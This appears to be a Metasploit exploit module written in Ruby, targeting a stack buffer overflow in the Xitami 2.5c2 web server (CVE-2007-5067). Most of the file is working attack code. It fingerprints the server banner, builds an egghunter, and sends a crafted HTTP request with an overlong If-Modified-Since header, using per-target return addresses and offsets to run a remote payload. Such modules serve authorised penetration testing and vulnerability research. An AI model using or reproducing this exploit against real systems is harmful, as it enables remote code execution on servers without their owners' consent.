metasploit-framework/modules/exploits/windows/http/xitami_if_mod_since.rb

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
super(update_info(info,
'Name' => 'Xitami 2.5c2 Web Server If-Modified-Since Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the iMatix Corporation
Xitami Web Server. If a malicious user sends an If-Modified-Since
header containing an overly long string, it may be possible to
execute a payload remotely. Due to size constraints, this module uses
the Egghunter technique.
},
'Author' => 'patrick',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2007-5067' ],
[ 'BID', '25772' ],
[ 'EDB', '4450' ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 700,
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => ['win'],
'Targets' =>
[
# Patrick - Both tested OK 20070928 - w2ksp0, w2ksp4, xpsp0, xpsp2 en.
[ 'xigui32.exe Universal', { 'Ret' => "\xff\xce\x44", 'Offset' => 40 } ], # 0x0044ceff ret xigui32.exe
[ 'xitami.exe Universal', { 'Ret' => "\xf2\xc1\x47", 'Offset' => 68 } ], # 0x0047c1f2 ret xitami.exe
],
'DisclosureDate' => 'Sep 24 2007',
'DefaultTarget' => 0))
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register_options(
[
Opt::RPORT(80),
],self.class)
end
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def check
connect
sock.put("GET / HTTP/1.1\r\nHost: #{rhost}\r\n\r\n")
banner = sock.get_once
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disconnect
if (banner.to_s =~ /Xitami/)
vprint_status("Banner: #{banner}")
return Exploit::CheckCode::Detected
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end
return Exploit::CheckCode::Safe
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end
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def exploit
connect
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hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
egg = hunter[1]
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sploit = "GET / HTTP/1.1\r\n"
sploit << "Host: " + egg + "\r\n"
sploit << "If-Modified-Since: " + Rex::Arch::X86.jmp_short(3) + ", "
sploit << hunter[0] + rand_text_alphanumeric(target['Offset']) + target['Ret']
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sock.put(sploit + "\r\n\r\n")
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print_status("Waiting for payload to execute...")
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handler
disconnect
end
end